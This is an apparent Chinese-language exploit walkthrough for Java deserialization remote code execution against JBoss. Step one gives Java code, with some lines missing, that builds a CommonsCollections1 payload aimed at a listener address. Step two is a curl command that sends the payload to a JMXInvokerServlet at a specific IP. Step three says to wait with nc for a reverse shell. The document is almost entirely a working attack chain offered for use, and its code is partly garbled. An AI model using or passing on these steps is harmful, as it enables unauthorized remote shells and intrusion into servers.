1.进行payload的生成

return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {

.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {

if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {

field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject(“10.10.10.41:8080″);//你的服务器的地址
//deserialize(serialize(objBefore));
File f = new File(“C:\\Users\\payloads.bin”);//生成的payload文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
}}
2.curl 发送命令
curl –header “Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue” –data-binary “@payloads.bin” 10.107.23.52:8680/invoker/JMXInvokerServlet
3.nc监听10.10.10.41:8080等待shell弹出
